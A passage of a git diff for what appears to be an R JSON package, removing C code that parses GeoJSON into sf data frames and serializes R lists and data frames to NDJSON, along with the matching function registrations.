SET_STRING_ELT(geom_class_, 0, mkChar("sfc_LINESTRING")); - break; - case SF_MULTILINESTRING: - SET_STRING_ELT(geom_class_, 0, mkChar("sfc_MULTILINESTRING")); - break; - case SF_POLYGON: - SET_STRING_ELT(geom_class_, 0, mkChar("sfc_POLYGON")); - break; - case SF_MULTIPOLYGON: - SET_STRING_ELT(geom_class_, 0, mkChar("sfc_MULTIPOLYGON")); - break; - default: - if (nrows > 0) { - setAttrib(geom_col_, mkString("classes") , geom_classes_); - } - SET_STRING_ELT(geom_class_, 0, mkChar("sfc_GEOMETRY")); - } - - - setAttrib(geom_col_, mkString("n_empty") , ScalarInteger(0)); - setAttrib(geom_col_, mkString("crs") , make_crs()); - - SET_STRING_ELT(geom_class_, 1, mkChar("sfc")); - setAttrib(geom_col_, R_ClassSymbol, geom_class_); - - setAttrib(geom_col_, mkString("precision"), ScalarReal(0)); - setAttrib(geom_col_, mkString("bbox"), make_bbox(opt)); - - if (needs_z_range(opt)) { - setAttrib(geom_col_, mkString("z_range"), make_z_range(opt)); - } - - if (needs_m_range(opt)) { - setAttrib(geom_col_, mkString("m_range"), make_m_range(opt)); - } - - UNPROTECT(nprotect); - return geom_col_; -} - - - - - -//=========================================================================== -// -//=========================================================================== -SEXP parse_feature_collection(yyjson_val *obj, geo_parse_options *opt) { - - unsigned int nprotect = 0; - - yyjson_val *features = NULL; - - if (yyjson_is_obj(obj)) { - // This is an official geojson FeatureCollection object - features = yyjson_obj_get(obj, "features"); - } else if (yyjson_is_arr(obj)) { - // This is just a JSON []-array with multiple features in it. - features = obj; - } else { - error("parse_feature_collection() obj not array or object, but %s", yyjson_get_type_desc(obj)); - } - - if (!yyjson_is_arr(features)) { - error("Expecting FeatureCollection::features to be an array. Got %s", yyjson_get_type_desc(features)); - } - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Parse the geometry - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SEXP geom_col_ = PROTECT(parse_feature_collection_geometry(features, opt)); nprotect++; - if (opt->type == SFC_TYPE) { - // we onlyl care about geometry! Don't worry about parsing properties - UNPROTECT(nprotect); - return geom_col_; - } - - unsigned int nrows = yyjson_get_len(features); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Iterate over all features to determine full set of properties - // and their types - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - char *prop_names[MAX_PROPS]; - unsigned int type_bitset[MAX_PROPS] = {0}; - unsigned int nprops = 0; - - yyjson_arr_iter feature_iter = yyjson_arr_iter_with(features); - yyjson_val *feature; - while ((feature = yyjson_arr_iter_next(&feature_iter))) { - - yyjson_val *props = yyjson_obj_get(feature, "properties"); - - yyjson_obj_iter prop_iter = yyjson_obj_iter_with(props); - yyjson_val *prop_name, *prop_val; - while ((prop_name = yyjson_obj_iter_next(&prop_iter))) { - prop_val = yyjson_obj_iter_get_val(prop_name); - - int name_idx = -1; - for (int i = 0; i < nprops; i++) { - if (yyjson_equals_str(prop_name, prop_names[i])) { - name_idx = i; - break; - } - } - if (name_idx < 0) { - // Name has not been seen yet. so add it. - name_idx = nprops; - prop_names[nprops] = (char *)yyjson_get_str(prop_name); - // Rprintf("Key: %s\n", yyjson_get_str(prop_name)); - nprops++; - if (nprops == MAX_PROPS) { - error("Maximum properies exceeded parsing feature collection: %i", MAX_PROPS); - } - } - - type_bitset[name_idx] = update_type_bitset(type_bitset[name_idx], prop_val, opt->parse_opt); - } - } - - // for (unsigned int i=0; iparse_opt); - // dump_type_bitset(type_bitset[i]); - // Rprintf("[prop %i] %s - sexp_type: %i -> %s\n", - // i, prop_names[i], - // sexp_type, type2char(sexp_type)); - // } - - - - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Create a data.frame with: - // prop1, prop2, prop3.... propN, geometry - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SEXP df_ = PROTECT(allocVector(VECSXP, nprops + 1)); nprotect++; - SET_VECTOR_ELT(df_, nprops, geom_col_); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // For each property - // - determine the best SEXP to represent the 'type_bitset' - // - Call a parse function which will - // - loop through the entire FeatureCollection[]-array, - // plucking the property value from each {}-object - // - return an atomic vector or a list - // - place this vector as a column in the data.frame - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - for (unsigned int idx = 0; idx < nprops; idx++) { - - unsigned int sexp_type = get_best_sexp_to_represent_type_bitset(type_bitset[idx], opt->parse_opt); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Check if user requested the "maximum" container type for properties - // to be a string, rather than a list() - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - if (sexp_type == VECSXP && opt->property_promotion == PROP_TYPE_STRING) { - sexp_type = STRSXP; - } - - switch (sexp_type) { - case LGLSXP: - SET_VECTOR_ELT(df_, idx, prop_to_lglsxp(features, prop_names[idx], opt)); - break; - case INTSXP: - SET_VECTOR_ELT(df_, idx, prop_to_intsxp(features, prop_names[idx], opt)); - break; - case REALSXP: - SET_VECTOR_ELT(df_, idx, prop_to_realsxp(features, prop_names[idx], opt)); - break; - case STRSXP: - SET_VECTOR_ELT(df_, idx, prop_to_strsxp(features, prop_names[idx], opt)); - break; - case VECSXP: - SET_VECTOR_ELT(df_, idx, prop_to_vecsxp(features, prop_names[idx], opt)); - break; - default: - warning("Unhandled 'prop' coltype: %i -> %s\n", sexp_type, type2char(sexp_type)); - SET_VECTOR_ELT(df_, idx, allocVector(LGLSXP, nrows)); - } - } - - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Nominate the geometry column name. - // Store this as the 'sf_geometry' attribute - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SEXP sf_name_ = PROTECT(mkString("geometry")); nprotect++; - setAttrib(df_, mkString("sf_column"), sf_name_); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Set colnames on data.frame - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SEXP nms_ = PROTECT(allocVector(STRSXP, nprops + 1)); nprotect++; - for (unsigned int i = 0; i < nprops; i++) { - SET_STRING_ELT(nms_, i, mkChar(prop_names[i])); - } - SET_STRING_ELT(nms_, nprops, mkChar("geometry")); - Rf_setAttrib(df_, R_NamesSymbol, nms_); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Set rownames on data.frame - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SEXP rownames = PROTECT(allocVector(INTSXP, 2)); nprotect++; - SET_INTEGER_ELT(rownames, 0, NA_INTEGER); - SET_INTEGER_ELT(rownames, 1, -nrows); - setAttrib(df_, R_RowNamesSymbol, rownames); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Set 'data.frame' class - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SEXP df_class_ = PROTECT(allocVector(STRSXP, 2)); nprotect++; - SET_STRING_ELT(df_class_, 0, mkChar("sf")); - SET_STRING_ELT(df_class_, 1, mkChar("data.frame")); - setAttrib(df_, R_ClassSymbol, df_class_); - - UNPROTECT(nprotect); - return df_; -} - - -//=========================================================================== -// -//=========================================================================== -SEXP promote_bare_geometry_to_list(SEXP geom_, yyjson_val *val, geo_parse_options *opt) { - unsigned int nprotect = 0; - - SEXP geom_col_ = PROTECT(allocVector(VECSXP, 1)); nprotect++; - SET_VECTOR_ELT(geom_col_, 0, geom_); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Figure out type of geometry - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SEXP geom_col_class_ = PROTECT(allocVector(STRSXP, 2)); nprotect++; - - if (!yyjson_is_obj(val)) { - error("promote_bare_geometry_to_list(): Expecting object. Got %s", yyjson_get_type_desc(val)); - } - - yyjson_val *type = yyjson_obj_get(val, "type"); - if (type == NULL) { - error("parse_geometry(): type == NULL"); - } - - if (yyjson_equals_str(type, "Point")) { - SET_STRING_ELT(geom_col_class_, 0, mkChar("sfc_POINT")); - } else if (yyjson_equals_str(type, "MultiPoint")) { - SET_STRING_ELT(geom_col_class_, 0, mkChar("sfc_MULTIPOINT")); - } else if (yyjson_equals_str(type, "LineString")) { - SET_STRING_ELT(geom_col_class_, 0, mkChar("sfc_LINESTRING")); - } else if (yyjson_equals_str(type, "MultiLineString")) { - SET_STRING_ELT(geom_col_class_, 0, mkChar("sfc_MULTILINESTRING")); - } else if (yyjson_equals_str(type, "Polygon")) { - SET_STRING_ELT(geom_col_class_, 0, mkChar("sfc_POLYGON")); - } else if (yyjson_equals_str(type, "MultiPolygon")) { - SET_STRING_ELT(geom_col_class_, 0, mkChar("sfc_MULTIPOLYGON")); - } else if (yyjson_equals_str(type, "GeometryCollection")) { - SET_STRING_ELT(geom_col_class_, 0, mkChar("sfc_GEOMETRY")); - setAttrib(geom_col_, mkString("classes") , mkString("GEOMETRYCOLLECTION")); - } else { - error("promote_bare_geometry_to_list(): Unknown geojson type: %s", yyjson_get_str(type)); - } - - SET_STRING_ELT(geom_col_class_, 1, mkChar("sfc")); - setAttrib(geom_col_, R_ClassSymbol, geom_col_class_); - - - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Set attributes on geometry - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - setAttrib(geom_col_, mkString("n_empty") , ScalarInteger(0)); - setAttrib(geom_col_, mkString("crs") , make_crs()); - - setAttrib(geom_col_, mkString("precision"), ScalarReal(0)); - setAttrib(geom_col_, mkString("bbox"), make_bbox(opt)); - - if (needs_z_range(opt)) { - setAttrib(geom_col_, mkString("z_range"), make_z_range(opt)); - } - - if (needs_m_range(opt)) { - setAttrib(geom_col_, mkString("m_range"), make_m_range(opt)); - }\ - - UNPROTECT(nprotect); - return geom_col_; -} - - -//=========================================================================== -// -//=========================================================================== -SEXP promote_bare_geometry_to_df(SEXP geom_, yyjson_val *val, geo_parse_options *opt) { - - unsigned int nprotect = 0; - - // Setup data.frame with single column called 'geometry' - // 'geometry' is a list column - SEXP df_ = PROTECT(allocVector(VECSXP, 1)); nprotect++; - SET_VECTOR_ELT(df_, 0, promote_bare_geometry_to_list(geom_, val, opt)); - setAttrib(df_, R_NamesSymbol, mkString("geometry")); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Set NULL rownames on data.frame - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SEXP rownames = PROTECT(allocVector(INTSXP, 2)); nprotect++; - SET_INTEGER_ELT(rownames, 0, NA_INTEGER); - SET_INTEGER_ELT(rownames, 1, -1); - setAttrib(df_, R_RowNamesSymbol, rownames); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Set class: 'sf' + 'data.frame' - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SEXP df_class_ = PROTECT(allocVector(STRSXP, 2)); nprotect++; - SET_STRING_ELT(df_class_, 0, mkChar("sf")); - SET_STRING_ELT(df_class_, 1, mkChar("data.frame")); - setAttrib(df_, R_ClassSymbol, df_class_); - - // Attributes for {sf} - setAttrib(df_, mkString("sf_column"), mkString("geometry")); - - UNPROTECT(nprotect); - return df_; -} - - - -//=========================================================================== -// ### ### ## ## -// # # # # # # -// # ### ### ## # # ### # # -// # # # # # # # # # # # # # -// # ## ##### # # # # # # # # # # -// # # # # # # # # # # # # # # -// ### ### ### # # ### ### ### ### -// -// Geometry Collection -//=========================================================================== -SEXP parse_geometry_collection(yyjson_val *obj, geo_parse_options *opt) { - - unsigned int nprotect = 0; - reset_bbox(opt); - - yyjson_val *geoms = yyjson_obj_get(obj, "geometries"); - if (!yyjson_is_arr(geoms)) { - error("Expecting GeomCollection::geometries to be an array. not %s", - yyjson_get_type_desc(geoms)); - } - unsigned int ngeoms = yyjson_get_len(geoms); - - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // List-column will be used for geometry - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SEXP geoms_ = PROTECT(allocVector(VECSXP, ngeoms)); nprotect++; - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Iterate over array to gather geometry - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - yyjson_arr_iter geom_iter = yyjson_arr_iter_with(geoms); - yyjson_val *geom; - unsigned int geom_idx = 0; - while ((geom = yyjson_arr_iter_next(&geom_iter))) { - - SEXP geom_ = PROTECT(geojson_as_sf(geom, opt, 1)); - SET_VECTOR_ELT(geoms_, geom_idx, geom_); - - UNPROTECT(1); - geom_idx++; - } - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Set attributes on geometry - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SEXP geom_class_ = PROTECT(allocVector(STRSXP, 3)); nprotect++; - SET_STRING_ELT(geom_class_, 0, mkChar("XY")); - SET_STRING_ELT(geom_class_, 1, mkChar("GEOMETRYCOLLECTION")); - SET_STRING_ELT(geom_class_, 2, mkChar("sfg")); - setAttrib(geoms_, R_ClassSymbol, geom_class_); - - UNPROTECT(nprotect); - return geoms_; -} - -//=========================================================================== -// Parse geometry -//=========================================================================== -SEXP parse_geometry_type(yyjson_val *val, geo_parse_options *opt) { - - if (!yyjson_is_obj(val)) { - error("parse_geometry(): Expecting object. Got %s", yyjson_get_type_desc(val)); - } - - yyjson_val *type = yyjson_obj_get(val, "type"); - if (type == NULL) { - error("parse_geometry(): type == NULL"); - } - - if (yyjson_equals_str(type, "Point")) { - return parse_point(val, opt); - } else if (yyjson_equals_str(type, "MultiPoint")) { - return parse_multipoint(val, opt); - } else if (yyjson_equals_str(type, "LineString")) { - return parse_linestring(val, opt); - } else if (yyjson_equals_str(type, "MultiLineString")) { - return parse_multilinestring(val, opt); - } else if (yyjson_equals_str(type, "Polygon")) { - return parse_polygon(val, opt); - } else if (yyjson_equals_str(type, "MultiPolygon")) { - return parse_multipolygon(val, opt); - } else if (yyjson_equals_str(type, "GeometryCollection")) { - return parse_geometry_collection(val, opt); - } else { - error("parse_geometry(): Unknown geojson type: %s", yyjson_get_str(type)); - } -} - - -//=========================================================================== -// -//=========================================================================== -SEXP geojson_as_sf(yyjson_val *val, geo_parse_options *opt, unsigned int depth) { - - if (yyjson_is_arr(val)) { - // Assume this is a JSON []-array of features - return parse_feature_collection(val, opt); - } - - if (!yyjson_is_obj(val)) { - error("geojson_as_sf(): Expecting object. Got %s", yyjson_get_type_desc(val)); - } - - yyjson_val *type = yyjson_obj_get(val, "type"); - if (type == NULL) { - error("geojson_as_sf(): type == NULL"); - } - - if (yyjson_equals_str(type, "Feature")) { - return parse_feature(val, opt); - } else if (yyjson_equals_str(type, "FeatureCollection")) { - return parse_feature_collection(val, opt); - } else { - unsigned int nprotect = 0; - SEXP res_= PROTECT(parse_geometry_type(val, opt)); nprotect++; - - // If this is not a top-level object, then just return it. - // the calling function will wrap it in a data.frame or whatever - if (depth > 0) { - UNPROTECT(nprotect); - return res_; - } - - // This is top-level bare geometry! - // This must be a single POINT/MULTIPOINT/LINESTRING/MULTILINSTRING - // POLYGON/MULTIPOLYGON/GEOMETRYCOLLECTION - if (opt->type == SF_TYPE) { - // Return as a df - res_ = PROTECT(promote_bare_geometry_to_df(res_, val, opt)); nprotect++; - } else { - // opt->type == SFC_TYPE - // return as a list - res_ = PROTECT(promote_bare_geometry_to_list(res_, val, opt)); nprotect++; - } - - UNPROTECT(nprotect); - return res_; - } - - return R_NilValue; -} - - - - - - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// Parse GeoJSON from a string -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -SEXP parse_geojson_str_(SEXP str_, SEXP geo_opts_, SEXP parse_opts_) { - - geo_parse_options opt = create_geo_parse_options(geo_opts_); - - parse_options parse_opt = create_parse_options(parse_opts_); - opt.parse_opt = &parse_opt; - - const char *str = CHAR(STRING_ELT(str_, 0)); - yyjson_read_err err; - yyjson_doc *doc = yyjson_read_opts((char *)str, strlen(str), opt.yyjson_read_flag, NULL, &err); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // If doc is NULL, then an error occurred during parsing. - // Try and print something sensible like {jsonlite} does. - // I.e. - // - print some context around where the error occurred - // - print the index in the character string where the error occurred - // - add a visual pointer to the output so the user knows where this was - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - if (doc == NULL) { - output_verbose_error(str, err); - error("Error parsing JSON: %s code: %u at position: %ld\n", err.msg, err.code, err.pos); - } - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Parse the document from the root node - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SEXP res_ = PROTECT(geojson_as_sf(yyjson_doc_get_root(doc), &opt, 0)); - - yyjson_doc_free(doc); - - UNPROTECT(1); - return res_; -} - - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// Parse GeoJSON from a string -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -SEXP parse_geojson_file_(SEXP filename_, SEXP geo_opts_, SEXP parse_opts_) { - - geo_parse_options opt = create_geo_parse_options(geo_opts_); - - parse_options parse_opt = create_parse_options(parse_opts_); - opt.parse_opt = &parse_opt; - - const char *filename = (const char *)CHAR( STRING_ELT(filename_, 0) ); - filename = R_ExpandFileName(filename); - yyjson_read_err err; - yyjson_doc *doc = yyjson_read_file((char *)filename, opt.yyjson_read_flag, NULL, &err); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // If doc is NULL, then an error occurred during parsing. - // Try and print something sensible like {jsonlite} does. - // I.e. - // - print some context around where the error occurred - // - print the index in the character string where the error occurred - // - add a visual pointer to the output so the user knows where this was - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - if (doc == NULL) { - error("Error parsing JSON file '%s': %s code: %u at position: %ld\n", - filename, err.msg, err.code, err.pos); - } - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Parse the document from the root node - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SEXP res_ = PROTECT(geojson_as_sf(yyjson_doc_get_root(doc), &opt, 0)); - - yyjson_doc_free(doc); - - UNPROTECT(1); - return res_; -} - - - - - - - - - - - - - - - diff --git a/src/init.c b/src/init.c index 9b4edae..68d9710 100644 --- a/src/init.c +++ b/src/init.c @@ -10,21 +10,6 @@ extern SEXP parse_from_raw_ (SEXP filename_, SEXP parse_opts_); extern SEXP serialize_to_str_ (SEXP x_, SEXP serialize_opts_); extern SEXP serialize_to_file_(SEXP x_, SEXP filename_, SEXP serialize_opts_); -extern SEXP parse_ndjson_file_as_df_ (SEXP filename_, SEXP nread_, SEXP nskip_, SEXP nprobe_, SEXP parse_opts_); -extern SEXP parse_ndjson_file_as_list_(SEXP filename_, SEXP nread_, SEXP nskip_, SEXP parse_opts_); - -extern SEXP parse_geojson_str_ (SEXP str_ , SEXP geo_opts_, SEXP parse_opts_); -extern SEXP parse_geojson_file_(SEXP filename_, SEXP geo_opts_, SEXP parse_opts_); - -extern SEXP serialize_sf_to_str_ (SEXP sf_ , SEXP geo_opts_, SEXP serialize_opts_); -extern SEXP serialize_sf_to_file_(SEXP sf_, SEXP filename_, SEXP geo_opts_, SEXP serialize_opts_); - -extern SEXP serialize_df_to_ndjson_str_ (SEXP robj_, SEXP serialize_opts_); -extern SEXP serialize_df_to_ndjson_file_(SEXP robj_, SEXP filename_, SEXP serialize_opts_); - -extern SEXP serialize_list_to_ndjson_str_ (SEXP robj_, SEXP serialize_opts_); -extern SEXP serialize_list_to_ndjson_file_(SEXP robj_, SEXP filename_, SEXP serialize_opts_); - extern SEXP validate_json_file_(SEXP filename_, SEXP verbose_, SEXP parse_opts_); extern SEXP validate_json_str_ (SEXP str_ , SEXP verbose_, SEXP parse_opts_); @@ -36,21 +21,6 @@ static const R_CallMethodDef CEntries[] = { {"parse_from_file_" , (DL_FUNC) &parse_from_file_, 2}, {"parse_from_raw_" , (DL_FUNC) &parse_from_raw_ , 2}, - {"parse_ndjson_file_as_df_" , (DL_FUNC) &parse_ndjson_file_as_df_ , 5}, - {"parse_ndjson_file_as_list_", (DL_FUNC) &parse_ndjson_file_as_list_, 4}, - - {"parse_geojson_str_" , (DL_FUNC) &parse_geojson_str_ , 3}, - {"parse_geojson_file_", (DL_FUNC) &parse_geojson_file_, 3}, - - {"serialize_sf_to_str_" , (DL_FUNC) &serialize_sf_to_str_ , 3}, - {"serialize_sf_to_file_", (DL_FUNC) &serialize_sf_to_file_, 4}, - - {"serialize_df_to_ndjson_str_" , (DL_FUNC) &serialize_df_to_ndjson_str_ , 2}, - {"serialize_df_to_ndjson_file_", (DL_FUNC) &serialize_df_to_ndjson_file_, 3}, - - {"serialize_list_to_ndjson_str_" , (DL_FUNC) &serialize_list_to_ndjson_str_ , 2}, - {"serialize_list_to_ndjson_file_", (DL_FUNC) &serialize_list_to_ndjson_file_, 3}, - {"validate_json_file_", (DL_FUNC) &validate_json_file_, 3}, {"validate_json_str_" , (DL_FUNC) &validate_json_str_ , 3}, diff --git a/src/ndjson-serialize.c b/src/ndjson-serialize.c deleted file mode 100644 index af947c7..0000000 --- a/src/ndjson-serialize.c +++ /dev/null @@ -1,350 +0,0 @@ - - -#include -#include -#include -#include - -#include -#include -#include - -#include - -#include "yyjson.h" -#include "R-yyjson-serialize.h" - - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -SEXP serialize_list_to_ndjson_file_(SEXP robj_, SEXP filename_, SEXP serialize_opts_) { - - serialize_options opt = parse_serialize_options(serialize_opts_); - - FILE *file = NULL; - unsigned int nelems = length(robj_); - - const char *filename = CHAR(STRING_ELT(filename_, 0)); - file = fopen(filename, "w"); - if (file == NULL) { - error("Couldn't open file: %s", filename); - } - - for (unsigned int idx = 0; idx < nelems; idx++) { - SEXP elem_ = VECTOR_ELT(robj_, idx); - - yyjson_mut_doc *doc = yyjson_mut_doc_new(NULL); - yyjson_mut_val *val = serialize_core(elem_, doc, &opt); - yyjson_mut_doc_set_root(doc, val); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Write to File Pointer - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - yyjson_write_err err; - bool res = yyjson_mut_write_fp(file, doc, opt.yyjson_write_flag, NULL, &err); - if (!res) { - error("Error writing to file at element %i\n", idx); - } - fputc('\n', file); - - yyjson_mut_doc_free(doc); - } - - - fclose(file); - return R_NilValue; -} - - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -SEXP serialize_list_to_ndjson_str_(SEXP robj_, SEXP serialize_opts_) { - serialize_options opt = parse_serialize_options(serialize_opts_); - - char **ndjson = NULL; - unsigned int nelems = length(robj_); - - ndjson = (char **)calloc(nelems, sizeof(char *)); - - for (unsigned int idx = 0; idx < nelems; idx++) { - SEXP elem_ = VECTOR_ELT(robj_, idx); - - yyjson_mut_doc *doc = yyjson_mut_doc_new(NULL); - yyjson_mut_val *val = serialize_core(elem_, doc, &opt); - yyjson_mut_doc_set_root(doc, val); - ndjson[idx] = yyjson_mut_write(doc, opt.yyjson_write_flag, NULL); - yyjson_mut_doc_free(doc); - } - - - // concatenate into single string for return to R - unsigned int total_len = 1; // extra '1' for '\0' byte at end of string - for (unsigned int idx = 0; idx < nelems; idx++) { - total_len += strlen(ndjson[idx]) + 1; // extra 1 for `\n' for each row. - // Rprintf("Total length: %i\n", total_len); - } - char *total_str; - total_str = (char *)calloc(total_len, sizeof(char)); - - unsigned int pos = 0; - for (unsigned int idx = 0; idx < nelems; idx++) { - strcpy(total_str + pos, ndjson[idx]); - pos += strlen(ndjson[idx]); - total_str[pos] = '\n'; - pos++; - } - total_str[total_len - 2] = '\0'; - - SEXP ndjson_ = PROTECT(allocVector(STRSXP, 1)); - SET_STRING_ELT(ndjson_, 0, mkChar(total_str)); - free(ndjson); - UNPROTECT(1); - return ndjson_; -} - - - - - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// Serialize list or data.frame to NDJSON -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -SEXP serialize_df_to_ndjson_file_(SEXP robj_, SEXP filename_, SEXP serialize_opts_) { - - serialize_options opt = parse_serialize_options(serialize_opts_); - - if (!inherits(robj_, "data.frame")) { - error("serialize_ndjson_(): object must a list or data.frame"); - } - - // Get sexp_types of all columns - // Get number of rows - // for each row - // create document - // create {}-object - // for each col - // add value to object - // write string to file. - - unsigned int ncols = length(robj_); - unsigned int nrows = length(VECTOR_ELT(robj_, 0)); - SEXP nms_ = getAttrib(robj_, R_NamesSymbol); - - FILE *file = NULL; - const char *filename = CHAR(STRING_ELT(filename_, 0)); - file = fopen(filename, "w"); - if (file == NULL) { - error("Couldn't open file: %s", filename); - } - - for (unsigned int row = 0; row < nrows; row++) { - yyjson_mut_doc *doc = yyjson_mut_doc_new(NULL); - yyjson_mut_val *obj = yyjson_mut_obj(doc); - 